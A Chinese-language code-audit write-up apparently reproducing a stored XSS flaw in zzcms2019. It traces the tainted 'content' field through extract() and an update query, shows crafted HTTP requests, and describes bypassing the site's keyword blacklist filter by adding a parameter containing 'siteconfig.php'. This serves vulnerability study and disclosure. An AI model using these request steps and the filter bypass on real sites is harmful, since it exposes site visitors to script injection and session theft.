zzcms2019存储型xss漏洞审计(超详细)

存储型xss漏洞复现

  1.  function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {
       $string=stripslashes($string);
     if ($htmlspecialchars_decode==true){
       $string=htmlspecialchars_decode($string);//转html实体符号
     }
     if ($nl2br==true){
       $string=nl2br($string);
     }
       return $string; 
     }
     /*传入字符串,默认参数$htmlspecialchars_decode=false,,$nl2br=false,先对传入的字符串进行stripslashes()调用,
     返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
     实例:
     
     接着if($htmlspecialchars_decode==true)决定是否对字符串调用htmlspecialchars_decode()此函数的作用和 htmlspecialchars() 刚好相反。它将特殊的HTML实体转换回普通字符。
     被转换的实体有: &, " (没有设置ENT_NOQUOTES 时), ' (设置了 ENT_QUOTES 时), < 以及>。
     最后根据一个nl2br()函数只是根据变量执行换行,并不是重点*/
    
  2.  梳理完上述的函数,要想借由这个函数触发xss,需要达到以下几点:
     ①如果传入的字符串$string在调用之前被类似htmlspecialchars()处理过,
     则需要在在调用stripfxg()函数第二个参数$htmlspecialchars_decode传入true,
     执行翻转,并将调用stripfxg的string进行类似echo的操作,才会显示在页面上,即xss触发。
     ②如果传入的字符串$string在调用之前未被类似htmlspecialchars()处理过,
     则在调用stripfxg()函数第二个参数$htmlspecialchars_decode按照默认的false也可,
     但同样的是对调用stripfxg的string进行类似echo的操作,才xss触发。
    
  3. 全局检索stripfxg的调用:zzcms2019存储型xss漏洞审计(超详细)_第1张图片
    由于是复现,故知道了漏洞位置,真实审计过程,需要进行筛选,甄别

  4.  在...zt/show.php,有如下代码:
     $gsjj=$gsjj. stripfxg($content,true);   
     //第二个参数传入true会进行thmlspcialchars翻转,使得出于安全考虑的xss过滤无效
    
  5. 尝试调试/zt/show.php,访问/zt/show.php:zzcms2019存储型xss漏洞审计(超详细)_第2张图片
    在show.php文件下断点,看缺少的参数是哪里的zzcms2019存储型xss漏洞审计(超详细)_第3张图片
    发现卡壳的位置在第六行代码,跟进发现在top.php出现如下代码:

  6.  //略
     if($id<>0){   //参数缺失
       $sql="select * from zzcms_user where id='$id'";
     }elseif ($editor<>"" && $editor<>"www" && $editor<>"demo" && $domain<>str_replace("http://","",siteurl)){
       $sql="select * from zzcms_user where username='$editor'";
     }elseif(isset($editorinzsshow)) {
       $sql="select * from zzcms_user where username='".$editorinzsshow."'"; 
     }else{
       showmsg ("参数不足!");//这句被执行了。出现了上述的弹窗
     }
     //回溯$id的传值过程,发现如下同文件下的代码:
     $id=isset($_REQUEST['id'])?$_REQUEST['id']:0;
     
     //至此了解到,访问zt/show.php失败是由于访问时没有传递字段id,经由三目运算符使得$id=0,被if语句捕获,出现了弹窗。
    
  7. 传递id字段,/zt/show.php?id=1(由if语句,只要设置id字段非0即可),继续调试zzcms2019存储型xss漏洞审计(超详细)_第4张图片
    不再进入弹窗分支,后边分支做了语句拼接$sql="select * from zzcms_user where id=’$id’"执行了查询:

  8.  $rs=query($sql);
     $row=num_rows($rs);
     if (!$row){
       showmsg ("不存在该用户信息!",siteurl);
     }
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d3zzUm7s-1616777439290)(./pic/image-20210223215222250.png)]
    确实没数据,写入一条记录,继续调试,回到上层,即调用了一开始访问zt/show.php出现错误的地方,继续调试,可以到达漏洞触发点的代码 $strout=str_replace("{#gsjj}", $gsjj, ​$strout);含义是在 $strout中检索{#gsjj}若检索命中,使用$gsjj 替代。重点是,最后还进行了echo $strout

  9. 继续调试zzcms2019存储型xss漏洞审计(超详细)_第5张图片
    在$strout中,提前手工检索$strout发现所需字段{#gsjj}命中,也就是$strout=str_replace("{#gsjj}", $gsjj, $strout);会将变量$gsjj替代{#gsjj}写入到$strout中,并且zt/show.php最后还进行了echo,相当于触发

  10. 重新捋下思路zt/show.php下$gsjj=$gsjj. stripfxg($content,true);
    如果可控$content,可以写入xss代码,从而可控制$gsjj,
    $gsjj经由$strout=str_replace("{#gsjj}",$gsjj,$strout); 写入$strout,
    因为最终show.php会进行echo $strout可以达到xss代码触发。
    
  11. 在show.php下溯源变量$content:
    

    zzcms2019存储型xss漏洞审计(超详细)_第6张图片
    发现仅调用处使用了$content,猜测可能是包含进来的,继续查找zzcms2019存储型xss漏洞审计(超详细)_第7张图片
    发现仅在top.php文件中有一处发现且是该网站用户数据的一个字段(并不是变量$content的声明),既然是用户数据,则跟后台存在交互,向上溯源,发现了查询代码:

    if($id<>0){//ID放前面,EDITOR放后面
      $sql="select * from zzcms_user where id='$id'";
    }elseif ($editor<>"" && $editor<>"www" && $editor<>"demo" && $domain<>str_replace("http://","",siteurl)){//针对用二级域名的情况
      $sql="select * from zzcms_user where username='$editor'";
    }elseif(isset($editorinzsshow)) {
      $sql="select * from zzcms_user where username='".$editorinzsshow."'"; //当两都为空时从zsshow接收值
    }else{
      showmsg ("参数不足!");
    }
    $rs=query($sql);
    $row=num_rows($rs);
    

    调试发现执行了

    $sql="select * from zzcms_user where id='$id'";
    

    目的明确,需要在zzcms_user的content字段注入xss代码,尝试检索可以修改用户数据content字段,全局检索:

    UPDATE zzcms_user  ...  //需要包含content字段
    
  12. 查找usermodify.php存在,部分代码如下:

    
    $action = isset($_POST['action'])?$_POST['action']:"";
    $id = isset($_REQUEST['id'])?$_REQUEST['id']:0;
    checkid($id,1);
    
    $FoundErr=0;
    	$sql="select * from zzcms_user where id='$id'";
    	$rs=query($sql);
    	$row=num_rows($rs);
    	if (!$row){
    	$FoundErr=1;
    	$errmsg=$errmsg . "
  13. 找不到指定的用户!
  14. "
    ; }else{ $row=fetch_array($rs); if ($action=="modify") { checkadminisdo("user_modify"); $b=@trim($_POST["b"]);//有未设值的情况 $s=@trim($_POST["s"]);//有未设值的情况 $qqid = isset($_POST['qqid'])?$_POST['qqid'][0]:0; if ($elite==""){ $elite=0; }elseif($elite>127){ $elite=127; }elseif ($elite<0){ $elite=0; } checkid($elite,1); checkstr($img,"upload");//入库前查上传文件地址是否合格 checkstr($oldimg,"upload"); if ($FoundErr==0){ query("update zzcms_user ...,content='$gsjj' //这是update语句省略无关字段,语句包含content字段,给了修改的可能
  15. 接下来要尝试能够执行user_modify.php只执行update语句,阅读代码发现需要通过$action=="modify"为true && !$row伪false两个条件满足需要post一个action字段,设置id(后台数据库有表项且正确,这是满足第二个条件的需要)phpstorm下断点,burpsuite改包

  16. //未修改
    GET /admin/usermodify.php?id=1&action=modify&XDEBUG_SESSION_START=12563 HTTP/1.1
    Host: www.zzcms.com
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: __51cke__=; bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614088667487%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201614090471804%7D; __51laig__=2; XDEBUG_SESSION=12149
    Connection: close
    
    
    //修改,post方式
    POST /admin/usermodify.php HTTP/1.1
    Host: www.zzcms.com
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: __51cke__=; bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614088667487%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201614090471804%7D; __51laig__=2; XDEBUG_SESSION=12563
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 45
    
    id=1&action=modify&XDEBUG_SESSION_START=10419
    
  17. phpstorm捕获后,调试:发现卡在代码:checkadminisdo(“user_modify”);处,未能进入update语句。跟进,来到如下代码:

    function checkadminisdo($str){
    	$rs=query("select config from zzcms_admingroup where id=(select groupid from zzcms_admin where 	pass='".@$_COOKIE["pass"]."' and admin='".@$_COOKIE["admin"]."')");//只验证密码会出现,两个管理员密码相同的情况,导致出错,前加@防止SESSION失效后出错提示
    	$row=fetch_array($rs);
    	$config=$row["config"];
    	if(str_is_inarr($config,$str)=='no'){showmsg('没有操作权限!');}
    }
    

    执行结束发现浏览器跳转到管理登录页面,由于代码严谨,暂不考虑bypass登录的逻辑zzcms2019存储型xss漏洞审计(超详细)_第8张图片

  18. 思路转换一下,在这个cms中,发现有admin的目录,同时有user的目录且同目录下存在manager.php,猜测网站可供普通用户注册登录,自不必说同样用户数据会接入后台,尝试普通用户的修改页面。zzcms2019存储型xss漏洞审计(超详细)_第9张图片

  19. 在phpstorm的update那一个语句下断点,开启监听,放行数据包,发现调试器卡在断点处:zzcms2019存储型xss漏洞审计(超详细)_第10张图片
    说明是可以执行update的语句的,同样update中包含需要的content字段,检索该页面下的$content发现并没有声明,manage.php间接包含了一个会对用户的提交内容进行处理的函数:stopsqlin在stopsqlin.php中定义,具体功能后续会详解,此处的重点是stopsqlin.php还有如下会被执行的语句

    if($_REQUEST){
    	$_POST =zc_check($_POST);
    	$_GET =zc_check($_GET);
    	$_COOKIE =zc_check($_COOKIE);
    	@extract($_POST);		//可通过这里注册$content需要post content=payload即可
    	@extract($_GET);		//
    }
    /*
    extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int
    本函数用来将变量从数组中导入到当前的符号表中。
    检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。
    */
    
    GET /user/manage.php?id=1&action=modify&content=payload&XDEBUG_SESSION_START=10263 HTTP/1.1
    Host: www.zzcms.com
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614094655010%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201614096455010%7D; __51cke__=; __51laig__=1; PHPSESSID=e7aad2cc2b0d58dc7dc4c9b6c7887360; UserName=pitta; PassWord=25d55ad283aa400af464c76d713c07ad; XDEBUG_SESSION=10263
    Connection: close
    

    抓包,放行,调试器监听卡在断点处,查看此时的$content,发现是写入的payloadzzcms2019存储型xss漏洞审计(超详细)_第11张图片

  20. POC步骤:

    1. 利用user/manage.php写入paylaod:

      
      bp操作修改包,
      原:
      GET /user/manage.php?id=1&action=modify&XDEBUG_SESSION_START=18144 HTTP/1.1
      Host: www.zzcms.com
      Upgrade-Insecure-Requests: 1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Encoding: gzip, deflate
      Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
      Cookie: bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614094655010%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201614096455010%7D; __51cke__=; __51laig__=1; PHPSESSID=e7aad2cc2b0d58dc7dc4c9b6c7887360; UserName=pitta; PassWord=25d55ad283aa400af464c76d713c07ad; XDEBUG_SESSION=17629
      Connection: close
      
      修改添加content字段,由于是全局变量可以直接附加:
      GET /user/manage.php?id=1&action=modify&content=&XDEBUG_SESSION_START=18144 HTTP/1.1
      Host: www.zzcms.com
      Upgrade-Insecure-Requests: 1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Encoding: gzip, deflate
      Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
      Cookie: bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614094655010%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201614096455010%7D; __51cke__=; __51laig__=1; PHPSESSID=e7aad2cc2b0d58dc7dc4c9b6c7887360; UserName=pitta; PassWord=25d55ad283aa400af464c76d713c07ad; XDEBUG_SESSION=17629
      Connection: close
      

      回显如下弹窗,zzcms2019存储型xss漏洞审计(超详细)_第12张图片
      phpstorm的/user/manager.php没捕获到查看调用栈:zzcms2019存储型xss漏洞审计(超详细)_第13张图片

      发现是manage.php包含了conn.php,在一次向下调用了stopsqin的非法参数检测函数,代码如下:

      function stopsqlin($str){
      if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
      	$str=strtolower($str);//否则过过滤不全
      	
      	$sql_injdata = "";
      	$sql_injdata= $sql_injdata."|".stopwords;
      	$sql_injdata=CutFenGeXian($sql_injdata,"|");
      	
          $sql_inj = explode("|",$sql_injdata);
      	for ($i=0; $i< count($sql_inj);$i++){
      		if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
      	}
      }	
      }
      //看下调用同文件下:
        $r_url = strtolower($_SERVER["REQUEST_URI"]);
      if (checksqlin == "Yes") {
          if (strpos($r_url, "siteconfig.php") == 0 && strpos($r_url, "label") == 0 && strpos($r_url, "template.php") == 0) {
              foreach ($_GET as $get_key => $get_var) {
                  stopsqlin($get_var);
              } /* 过滤所有GET过来的变量 */
              foreach ($_POST as $post_key => $post_var) {
                  stopsqlin($post_var);
              }/* 过滤所有POST过来的变量 */
              foreach ($_COOKIE as $cookie_key => $cookie_var) {
                  stopsqlin($cookie_var);
              }/* 过滤所有COOKIE过来的变量 */
              foreach ($_REQUEST as $request_key => $request_var) {
                  stopsqlin($request_var);
              }/* 过滤所有request过来的变量 */
          }
      }
      

      在包含conn.php的位置下断点,调试发现在conn.php的 #include(zzcmsroot."/inc/stopsqlin.php");调用结束出现了提示非法参数的弹窗:zzcms2019存储型xss漏洞审计(超详细)_第14张图片
      再下断点跟进conn.php的#include(zzcmsroot."/inc/stopsqlin.php");语句,程序执行了stopsqlin():

      function stopsqlin($str){
      if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
      	$str=strtolower($str);//否则过过滤不全
      	
      	$sql_injdata = "";
      	$sql_injdata= $sql_injdata."|".stopwords;		//黑名单过滤
      	$sql_injdata=CutFenGeXian($sql_injdata,"|");
      	
          $sql_inj = explode("|",$sql_injdata);
      	for ($i=0; $i< count($sql_inj);$i++){
      		if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
      	}
      }	
      }
      
      $r_url = strtolower($_SERVER["REQUEST_URI"]);
      if (checksqlin == "Yes") {
          if (strpos($r_url, "siteconfig.php") == 0 && strpos($r_url, "label") == 0 && strpos($r_url, "template.php") == 0) {
              foreach ($_GET as $get_key => $get_var) {
                  stopsqlin($get_var);
              } /* 过滤所有GET过来的变量 */
              foreach ($_POST as $post_key => $post_var) {
                  stopsqlin($post_var);
              }/* 过滤所有POST过来的变量 */
              foreach ($_COOKIE as $cookie_key => $cookie_var) {
                  stopsqlin($cookie_var);
              }/* 过滤所有COOKIE过来的变量 */
              foreach ($_REQUEST as $request_key => $request_var) {
                  stopsqlin($request_var);
              }/* 过滤所有request过来的变量 */
          }
      }
      //进入stopsqlin()会非法参数弹窗,分析需要进过if判断才会执行stopsqlin()进行了黑名单的sql注入关键词屏蔽,尝试bypass,在访问的url中添加垃圾变量,赋值为siteconfig.php或者label或者template.php即可跳过stopsqlin的调用
      
      改包:
      GET /user/manage.php?id=2&action=modify&content=&asd=siteconfig.php&XDEBUG_SESSION_START=17629 HTTP/1.1
      Host: www.zzcms.com
      Cache-Control: max-age=0
      Upgrade-Insecure-Requests: 1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Encoding: gzip, deflate
      Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
      Cookie: bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614094655010%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201614096455010%7D; __51cke__=; __51laig__=1; PHPSESSID=e7aad2cc2b0d58dc7dc4c9b6c7887360; UserName=pitta; PassWord=25d55ad283aa400af464c76d713c07ad; XDEBUG_SESSION=17629
      Connection: close
      

      下断点,放行数据包,调试,zzcms2019存储型xss漏洞审计(超详细)_第15张图片
      成功越过stopsqlin()函数,成功步入update语句zzcms2019存储型xss漏洞审计(超详细)_第16张图片

      zzcms2019存储型xss漏洞审计(超详细)_第17张图片

      至此成功将xss代码写入数据库,接下来就需要触发代码了,触发代码由zt/show.php完成

    2. 通过/zt/show.php传入id=2(上述的xss代码写入的用户id)执行,发现因为show.php间接包含了conn.php中,浏览器执行过程中被stopsqlin()捕获(这里被捕获也无所谓,语句$gsjj=​$gsjj. stripfxg($content,true);传入的第二个参数为true会执行一次htmlspecialchars的翻转),即访问 /zt/show.php?id=2

      function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {
      	$string=stripslashes($string);
      if ($htmlspecialchars_decode==true){
      	$string=htmlspecialchars_decode($string);
      }
      //...
      return $string; 
      }
      

      成功污染变量show.php下$gsjjzzcms2019存储型xss漏洞审计(超详细)_第18张图片

    3.  $strout=str_replace("{#gsjj}",$gsjj,$strout);
      

      同zt/show.php下执行了上述代码,使得payload最终写入变量$strout中,成功污染$strout在zt/show.php的末尾该变量进行了echo操作,使得xss代码被浏览器解析成功,实现xss攻击。效果:

你可能感兴趣的:(代码审计,代码审计,xss,web安全,漏洞复现)